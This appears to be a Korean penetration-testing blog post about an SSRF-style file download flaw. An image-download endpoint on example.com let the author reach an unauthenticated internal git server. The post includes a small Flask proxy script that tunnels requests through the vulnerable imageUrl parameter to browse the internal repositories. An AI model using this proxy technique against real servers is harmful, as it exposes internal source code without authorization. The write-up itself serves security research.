annyoung

파일 다운로드 취약점 본문

모의해킹

파일 다운로드 취약점

nopsled 2025. 2. 21. 16:14

폴더 정리하다가 찾은 코드인데 나름 재밌었던 취약점이었다.

 

example.com의 서버가 이미지 다운로드를 지원하고 있었고, 아마도 example.com이 DMZ에 있던거 같은데 이로 인해서 내부 git에 접근할 수 있던 취약점이었다.

 

물론 git commit date가 최소 2 years ago 이러다보니.. 버려진 사이트 같았고 인증 절차가 없다보니 git에 업로드된 소스코드들을 볼 수 있었다.

import requests
from flask import Flask, request

app = Flask(__name__)


@app.route('/gitweb')
def index():
    return requests.get('https://example.com/v1/download/image', dict(
        imageUrl=f'http://git.example.com{request.full_path}',
    )).content


app.run(debug=True, use_reloader=True)

 

코드는 위와 같은데 웹 페이지가 깨지지 않도록 css와 js는 미리 로컬에 다운로드 받아서 git.example.com과 동일하게 구성해서 flask를 실행시켰고, 이로 인해서 프록시처럼 클릭만으로 git repository들을 확인할 수 있었다.

 

원래라면 https://example.com/v1/download/image?imageUrl=http://git.example.com/gitweb/some_repository/main/resources 와 같이 웹 페이지를 다운로드 받고, 그 HTML을 열어보거나 편집기로 확인해서 다시 imageUrl param을 수정해서 다운로드 받아서 확인했어야 했다. 그런데 이런 번거로움을 프록시처럼 구성해 놓은거라고 생각하면 된다.

'모의해킹' 카테고리의 다른 글

XSS input hidden  (0) 2025.02.11
ms teams가 sourcemap에 대하는 자세  (0) 2024.11.01
React Native 디컴파일  (0) 2024.10.25
Unreal Engine 4.27.2 dump with split apk  (48) 2024.07.25
Frida UnrealEngine 4.27.2 후킹  (0) 2024.07.23
Comments